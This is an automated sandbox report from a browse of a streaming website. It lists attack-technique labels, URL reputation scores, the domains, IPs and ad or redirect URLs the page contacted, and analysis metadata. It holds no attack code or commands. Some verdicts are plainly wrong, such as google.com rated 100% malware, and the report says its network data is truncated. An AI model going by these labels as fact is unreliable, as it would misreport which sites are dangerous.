Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://daverupert.com	0%	URL Reputation	safe
https://ep2.adtrafficquality.google	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://cdn.ampproject.org/amp4ads-host-v0.js	0%	URL Reputation	safe
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=232	0%	URL Reputation	safe
http://mathiasbynens.be/	0%	URL Reputation	safe
http://sam.zoy.org/wtfpl/	0%	URL Reputation	safe
https://ka-f.fontawesome.com	0%	URL Reputation	safe
http://google.com	100%	URL Reputation	malware
https://fontawesome.com/license/free	0%	URL Reputation	safe
http://schema.org	0%	URL Reputation	safe
https://cse.google.com/cse.js	0%	URL Reputation	safe
https://cdn.ampproject.org/rtv/$	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.googletagservices.com	142.250.185.98	true	false	unknown
yonmewon.com	139.45.197.236	true	false	unknown
accompanimentrealistic.com	172.240.108.68	true	false	unknown
phicmune.net	139.45.197.251	true	false	unknown
www4.l.google.com	142.250.185.110	true	false	unknown
platform.twitter.map.fastly.net	199.232.188.157	true	false	unknown
sun6-20.userapi.com	95.142.206.0	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
phaivusaido.com	188.114.96.3	true	false	unknown
scontent.xx.fbcdn.net	157.240.251.9	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
photos-ugc.l.googleusercontent.com	142.250.186.65	true	false	unknown
www.google.com	172.217.18.100	true	false	unknown
glakraptaidsupi.net	139.45.197.242	true	false	unknown
oughoaghushouru.net	139.45.197.244	true	false	unknown
raw.github.com	185.199.108.133	true	false	unknown
www.mycimalive.com	188.114.96.3	true	false	unknown
vk.com	87.240.132.78	true	false	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
twitter.com	104.244.42.65	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
plus.l.google.com	216.58.206.78	true	false	unknown
plus.google.com	142.250.186.142	true	false	unknown
blogspot.l.googleusercontent.com	216.58.206.33	true	false	unknown
github.com	140.82.121.4	true	false	unknown
raw.githubusercontent.com	185.199.111.133	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	unknown
bytogeticr.com	172.67.178.81	true	false	unknown
syndication.twitter.com	104.244.42.8	true	false	unknown
my.rtmark.net	139.45.195.8	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
prod.pinterest.global.map.fastly.net	151.101.0.84	true	false	unknown
youtube-ui.l.google.com	142.250.185.174	true	false	unknown
googleads.g.doubleclick.net	142.250.185.162	true	false	unknown
www3.l.google.com	172.217.18.14	true	false	unknown
blogger.l.google.com	142.250.185.105	true	false	unknown
sr7pv7n5x.com	212.117.190.201	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.185.161	true	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	unknown
2.bp.blogspot.com	unknown	unknown	false	unknown
resources.blogblog.com	unknown	unknown	false	unknown
use.fontawesome.com	unknown	unknown	false	unknown
platform.twitter.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
3.bp.blogspot.com	unknown	unknown	false	unknown
sqsq2938.blogspot.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
feedburner.google.com	unknown	unknown	false	unknown
www.linkedin.com	unknown	unknown	false	unknown
28.2bp.blogspot.com	unknown	unknown	false	unknown
connect.facebook.net	unknown	unknown	false	unknown
st6-20.vk.com	unknown	unknown	false	unknown
static.xx.fbcdn.net	unknown	unknown	false	unknown
1.bp.blogspot.com	unknown	unknown	false	unknown
4.bp.blogspot.com	unknown	unknown	false	unknown
player.vimeo.com	unknown	unknown	false	unknown
blogger.googleusercontent.com	unknown	unknown	false	unknown
feeds.feedburner.com	unknown	unknown	false	unknown
www.pinterest.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
www.blogger.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://st6-20.vk.com/dist/web/chunks/shopify.0360ab85.js	false	unknown
https://vk.com/video_ext.php?oid=424108305&id=456239246&hd=1&autoplay=1	false	unknown
https://phicmune.net/event	false	unknown
https://oughoaghushouru.net/?rb=SkAzlsbCrx4q1NTk0jmpgb6o1fUVnulBSoMH0Z2ZI48CZLXzrjwwL15M3NDLR6IFztr-pBMmXLnMssCiY009PUOgoIJAVslcAqvn7WkOcX6WzMjGY6dVmzlgJtoNAUqgJrp5nLwsIlBuIxcb8L8JZKVi9zA07UNaVBGOWxD23xdkU8tL2BcEphQfdDoCJxzctgJIufMGWoE0LelSvPKck-w7zTl1gCjQiCedsnVMWwl7HHxQ0YbEmFgP8FunRu2CB9HbNlhgVi2B5yeFLiGb_kVSgGWIyFm-3bfLqZR7cnh34c57uTia0cJRePA2Exx74tR8Z153P-5uEk0ukoeOUHsQPxo%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F365.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link	false	unknown
https://st6-20.vk.com/dist/web/chunks/defad8f6.8d30344a.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/audioplayer-lib.93b52d88.css	false	unknown
https://st6-20.vk.com/dist/web/chunks/bootstrap.ef881778.js	false	unknown
https://st6-20.vk.com/css/al/lite.7b03ad77.css	false	unknown
https://raw.github.com/davatron5000/FitVids.js/master/jquery.fitvids.js	false	unknown
https://www.blogger.com/static/v1/v-css/13464135-lightbox_bundle_rtl.css	false	unknown
https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US	false	unknown
https://googleads.g.doubleclick.net/pagead/html/r20241009/r20190131/zrt_lookup_fy2021.html	false	unknown
https://www.mycimalive.com/favicon.ico	false	unknown
https://www.blogger.com/static/v1/jsbin/3701120628-lbx__ar.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/vkcom-kit-icons.57d97a75.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/c85c1923.355d4461.js	false	unknown
https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002	false	unknown
https://www.mycimalive.com/	false	unknown
https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5999781818075238&output=html&adk=1812271804&adf=3025194257&abgtt=6&lmt=1728937851&plat=1%3A16777216%2C2%3A16777216%2C3%3A16%2C4%3A16%2C9%3A32776%2C16%3A8388608%2C17%3A32%2C24%3A32%2C25%3A32%2C30%3A1081344%2C32%3A32%2C41%3A32%2C42%3A32&format=0x0&url=https%3A%2F%2Fwww.mycimalive.com%2F&host=ca-host-pub-1556223355139109&pra=5&wgl=1&aihb=0&asro=0&ailel=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aiael=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aicel=33&aifxl=29_18~30_19&aiixl=29_5~30_6&aslmct=0.7&asamct=0.7&aiict=1&aiopts=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&dt=1728945587196&bpp=15&bdt=1401&idt=2132&shv=r20241009&mjsv=m202410080101&ptt=9&saldr=aa&abxe=1&cookie_enabled=1&eoidce=1&nras=1&correlator=1312372006252&frm=20&pv=2&u_tz=-240&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&dmc=8&adx=-12245933&ady=-12245933&biw=1275&bih=907&scr_x=0&scr_y=0&eid=44759875%2C44759926%2C44759837%2C95338738%2C31087805%2C31087941%2C31087987%2C44798934%2C95343454%2C95344187%2C95344522%2C95344778%2C31087608&oid=2&pvsid=3733427255325303&tmod=1008452106&uas=1&nvt=1&fsapi=1&fc=1920&brdim=0%2C0%2C0%2C0%2C1280%2C0%2C1280%2C984%2C1280%2C907&vis=2&rsz=%7C%7Cs%7C&abl=NS&cms=1&fu=32768&bc=31&bz=1&td=1&tdf=0&psd=W251bGwsbnVsbCxudWxsLDNd&nt=1&ifi=1&uci=a!1&fsb=1&dtd=2282	false	unknown
https://my.rtmark.net/img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf	false	unknown
https://oughoaghushouru.net/sftouch?userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf&dovr=true&branchId=0&rb=gvLURGPR381dNCfm4z7DWmYChfRrNhidpJlpK6Hu3FaYvLFUudsW7GlQ47cDaUUZC2xZ6a8UDxSV7yk4exemc7RTefog3vu58lg38UHdk40Gbk5LPmTVJUDoFRWwMMyCRs2kS8Z_0Bz-O-EL9By5pRVCmMYn3I6lF2fPD0Q5uBsfEAuGP0kbp9MWugTaqI88Vfiok-SHDNqC3ESXX3cndXxoLTbbqbiX0B7k3KMu_CNf4D4J1-fd--_UGmqV279IGSxmPqv7wkiIL0kbeWVYAbp1R6hJXCmQLy7KSdzI-e8Kvq990alo-diDMLH7eG6kb5S0HQEgdY_Rzhmz-jYWgf3Mf2xkGqnR&w_img=1	false	unknown
https://accompanimentrealistic.com/7e/5b/b2/7e5bb228f30e40fc8217e85bc9552495.js	false	unknown
https://st6-20.vk.com/css/al/fonts_cnt.c7a76efe.css	false	unknown
https://blogger.googleusercontent.com/img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280	false	unknown
https://st6-20.vk.com/dist/web/chunks/react.6a15a5cc.js	false	unknown
https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998	false	unknown
https://st6-20.vk.com/dist/web/ui_common.43d06ff5.css	false	unknown
https://st6-20.vk.com/dist/web/chunks/7c60942d.b623a141.js	false	unknown
https://blogger.googleusercontent.com/img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280	false	unknown
https://raw.githubusercontent.com/davatron5000/FitVids.js/master/jquery.fitvids.js	false	unknown
https://www.blogger.com/static/v1/widgets/3650705295-widgets.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/bootstrap.15ebed4f.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/b867618a.87f1527d.js	false	unknown
https://vk.com/video_ext.php?oid=424108305&id=456239206	false	unknown
https://phicmune.net/zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ==	false	unknown
https://vk.com/js/loader_nav21223558768_3.js	false	unknown
https://st6-20.vk.com/dist/web/ui_common.96ae42ab.js	false	unknown
https://st6-20.vk.com/dist/web/chunks/b2c3c302.9a8c0257.js	false	unknown
https://sqsq2938.blogspot.com/2024/10/78.html	false	unknown
https://phicmune.net/ntfc.php?p=8165884	false	unknown
https://phicmune.net/3bT/27mJf/defaultSkin.min.js	false	unknown
https://oughoaghushouru.net/5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134	false	unknown
https://vk.com/video_ext.php?oid=424108305&id=456239242&hd=1&autoplay=1	false	unknown
https://sqsq2938.blogspot.com/2024/10/4_4.html	false	unknown
https://phicmune.net/3bT/27mJf/universal.min.js?v=3.1.562	false	unknown
https://st6-20.vk.com/dist/web/chunks/vkcom-kit.cd5950c0.css	false	unknown
https://oughoaghushouru.net/log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249	false	unknown
https://st6-20.vk.com/dist/web/chunks/63bd1145.7f0cc649.js	false	unknown
https://st6-20.vk.com/dist/web/ui_common.07689f19.js	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://blogger.googleusercontent.com/img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox	chromecache_235.2.dr	false		unknown
http://wiki.osdev.org/CRC32#Building_the_Lookup_Table	chromecache_179.2.dr, chromecache_328.2.dr	false		unknown
http://daverupert.com	chromecache_232.2.dr	false	URL Reputation: safe	unknown
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_DiOOMDAaZKdL7mjWyUMsD8jX8mya4zZZrIbR8hK	chromecache_203.2.dr, chromecache_235.2.dr	false		unknown
https://ep2.adtrafficquality.google	chromecache_360.2.dr	false	URL Reputation: safe	unknown
https://www.blogger.com/dyn-css/authorization.css?targetBlogID=6282888993036066443&zx=4f118a4f-0	chromecache_235.2.dr	false		unknown
https://ps.vk.me/c$1/	chromecache_179.2.dr, chromecache_328.2.dr	false		unknown
https://fontawesome.com	chromecache_353.2.dr, chromecache_272.2.dr, chromecache_290.2.dr, chromecache_362.2.dr, chromecache_181.2.dr, chromecache_187.2.dr, chromecache_312.2.dr, chromecache_175.2.dr	false	URL Reputation: safe	unknown
https://lh3.googleusercontent.com/ULB6iBuCeTVvSjjjU1A-O8e9ZpVba6uvyhtiWRti_rBAs9yMYOFBujxriJRZ-A=h60	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false		unknown
https://blogger.googleusercontent.com/img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU	chromecache_235.2.dr	false		unknown
https://fundingchoicesmessages.google.com/i/$	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
https://cdn.ampproject.org/amp4ads-host-v0.js	chromecache_210.2.dr, chromecache_173.2.dr	false	URL Reputation: safe	unknown
https://plus.google.com/share?source=blogger:mobile:share&url=	chromecache_331.2.dr, chromecache_359.2.dr	false		unknown
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU	chromecache_235.2.dr	false		unknown
https://pp.vk.me/c$1/$3	chromecache_179.2.dr, chromecache_328.2.dr	false		unknown
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=231	chromecache_214.2.dr	false		unknown
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=232	chromecache_354.2.dr, chromecache_360.2.dr	false	URL Reputation: safe	unknown
https://securepubads.g.doubleclick.net/pagead/js/cocar.js	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
https://vk.com/blablabla2423	chromecache_276.2.dr, chromecache_304.2.dr	false		unknown
https://www.mycimalive.com/search	chromecache_203.2.dr, chromecache_235.2.dr	false		unknown
http://mathiasbynens.be/	chromecache_210.2.dr, chromecache_173.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/adsense/search/async-ads.js	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
http://googleads.g.doubleclick.net	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
http://www.google.com/intl/	chromecache_303.2.dr, chromecache_318.2.dr	false		unknown
https://ep2.adtrafficquality.google/sodar/$	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
http://picasaweb.google.com/	chromecache_303.2.dr, chromecache_318.2.dr	false		unknown
http://flickr.com/photos/	chromecache_303.2.dr, chromecache_318.2.dr	false		unknown
http://sam.zoy.org/wtfpl/	chromecache_232.2.dr	false	URL Reputation: safe	unknown
https://ka-f.fontawesome.com	chromecache_203.2.dr, chromecache_235.2.dr	false	URL Reputation: safe	unknown
https://twitter.com/intent/tweet?text=	chromecache_329.2.dr, chromecache_361.2.dr, chromecache_220.2.dr	false		unknown
https://blogger.googleusercontent.com/img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfK	chromecache_235.2.dr	false		unknown
http://schemas.google.com/g/2005#feed	chromecache_309.2.dr, chromecache_233.2.dr, chromecache_241.2.dr, chromecache_184.2.dr, chromecache_193.2.dr, chromecache_254.2.dr, chromecache_215.2.dr, chromecache_263.2.dr, chromecache_237.2.dr, chromecache_186.2.dr	false		unknown
http://google.com	chromecache_210.2.dr, chromecache_173.2.dr	true	URL Reputation: malware	unknown
https://sun9-29.userapi.com/QKvtU1KHcIAp0rdWET20HofmhQOH92_cjrb27Q/9oox86E1F_w.jpg	chromecache_304.2.dr	false		unknown
https://github.com/toddmotto/fluidvids/blob/master/dist/fluidvids.js	chromecache_232.2.dr	false		unknown
https://fontawesome.com/license/free	chromecache_353.2.dr, chromecache_272.2.dr, chromecache_290.2.dr, chromecache_362.2.dr, chromecache_181.2.dr, chromecache_187.2.dr, chromecache_312.2.dr, chromecache_175.2.dr	false	URL Reputation: safe	unknown
http://schema.org	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false	URL Reputation: safe	unknown
https://www.blogger.com/feeds/6002409460088195649/posts/default	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false		unknown
http://photos.google.com/lightbox/photoid	chromecache_303.2.dr, chromecache_318.2.dr	false		unknown
http://schemas.google.com/g/2005#thumbnail	chromecache_309.2.dr, chromecache_233.2.dr, chromecache_241.2.dr, chromecache_184.2.dr, chromecache_193.2.dr, chromecache_254.2.dr, chromecache_215.2.dr, chromecache_263.2.dr, chromecache_237.2.dr, chromecache_186.2.dr	false		unknown
https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false		unknown
https://resources.blogblog.com/img/widgets/icon_contactform_cross.gif	chromecache_329.2.dr, chromecache_361.2.dr, chromecache_220.2.dr	false		unknown
https://sqsq2938.blogspot.com/feeds/posts/default?alt=rss	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false		unknown
https://noohapou.com/4/5671934	chromecache_218.2.dr, chromecache_188.2.dr, chromecache_333.2.dr, chromecache_224.2.dr, chromecache_305.2.dr, chromecache_336.2.dr, chromecache_256.2.dr, chromecache_324.2.dr	false		unknown
https://github.com/Olical/EventEmitter	chromecache_179.2.dr, chromecache_328.2.dr	false		unknown
https://sqsq2938.blogspot.com/feeds/5422009254562248049/comments/default	chromecache_188.2.dr, chromecache_256.2.dr	false		unknown
https://cse.google.com/cse.js	chromecache_210.2.dr, chromecache_173.2.dr	false	URL Reputation: safe	unknown
https://www.mycimalive.com/2024/10/365.html	chromecache_235.2.dr	false		unknown
https://googleads.g.doubleclick.net	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown
https://cdn.ampproject.org/rtv/$	chromecache_210.2.dr, chromecache_173.2.dr	false	URL Reputation: safe	unknown
https://ep3.adtrafficquality.google/ivt/worklet/caw.js	chromecache_210.2.dr, chromecache_173.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.117.190.201	sr7pv7n5x.com	Luxembourg	5577	ROOTLU	false
139.45.195.8	my.rtmark.net	Netherlands	9002	RETN-ASEU	false
216.58.206.33	blogspot.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.67.178.81	bytogeticr.com	United States	13335	CLOUDFLARENETUS	false
139.45.197.251	phicmune.net	Netherlands	9002	RETN-ASEU	false
87.240.132.78	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
142.250.185.105	blogger.l.google.com	United States	15169	GOOGLEUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
95.142.206.0	sun6-20.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
142.250.185.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
185.199.110.133	unknown	Netherlands	54113	FASTLYUS	false
142.250.186.33	unknown	United States	15169	GOOGLEUS	false
142.250.184.194	unknown	United States	15169	GOOGLEUS	false
139.45.197.242	glakraptaidsupi.net	Netherlands	9002	RETN-ASEU	false
139.45.197.244	oughoaghushouru.net	Netherlands	9002	RETN-ASEU	false
172.240.108.68	accompanimentrealistic.com	United States	7979	SERVERS-COMUS	false
139.45.197.236	yonmewon.com	Netherlands	9002	RETN-ASEU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	phaivusaido.com	European Union	13335	CLOUDFLARENETUS	false
185.199.108.133	raw.github.com	Netherlands	54113	FASTLYUS	false
172.217.18.105	unknown	United States	15169	GOOGLEUS	false
142.250.186.100	unknown	United States	15169	GOOGLEUS	false
142.250.185.73	unknown	United States	15169	GOOGLEUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false
87.240.129.133	unknown	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false

Private

IP
192.168.2.6
192.168.2.10

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533648
Start date and time:	2024-10-15 00:38:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.mycimalive.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@24/300@144/30
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 172.217.18.14, 64.233.167.84, 34.104.35.123, 142.250.185.226, 142.250.185.138, 142.250.186.106, 172.217.16.131, 142.250.186.138, 172.67.139.119, 104.21.26.223, 162.159.138.60, 162.159.128.61, 216.58.206.65, 142.250.185.106, 142.250.185.227, 142.250.185.98, 142.250.185.238, 172.64.146.215, 104.18.41.41, 104.21.27.152, 172.67.142.245, 142.250.185.170, 142.250.185.74, 172.217.16.138, 142.250.184.234, 142.250.181.234, 142.250.186.42, 142.250.186.74, 142.250.185.202, 142.250.185.234, 172.217.18.10, 216.58.212.138, 216.58.212.170, 216.58.206.42, 20.12.23.50, 192.229.221.95, 13.95.31.18, 199.232.214.172, 142.250.185.129, 142.250.184.193, 13.85.23.206, 2.16.100.168, 88.221.110.91
Excluded domains from analysis (whitelisted): ka-f.fontawesome.com.cdn.cloudflare.net, slscr.update.microsoft.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, a767.dspw65.akamai.net, clients2.google.com, ocsp.digicert.com, 2-01-37d2-0018.cdx.cedexis.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, www.google-analytics.com, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, player.vimeo.com.cdn.cloudflare.net, content-autofill.googleapis.com, otelrules.azureedge.net, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, pagead2.googlesyndication.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, www.linkedin.com.cdn.cloudflare.net, edgedl.me.gvt1.com, tpc.googlesyndication.com,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.mycimalive.com/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2868)
Category:	downloaded
Size (bytes):	430169
Entropy (8bit):	5.5821163985782345
Encrypted:	false
SSDEEP:	12288:wosugg2aXn2yn2S7PPpSCSGcUJtCXUxO/3sOKw1CqpH36X5kNzhqPytvFaOrw1y7:wosugg2aXn2yn2S7PPpStGcUJtCXUxOV
MD5:	C99FEF5B5348B29C6617B074969BF7B9
SHA1:	92EA16144E76256B6E98A62EFD1FACE152482272
SHA-256:	21EE1BCEE6D8C9FCFFBFE8C70CDEF5510A0464D8AC06CED64D2180B246838A9E
SHA-512:	2C2ED93F507DDD0816A42ACC881E14141C5DD4AC570C84D034814BA61EADE736709217ACC332DB9013D56971C170F68A5A05ECD7D1988748A620087F5B20DDAA
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/adsense/m202410080101/show_ads_impl_fy2021.js
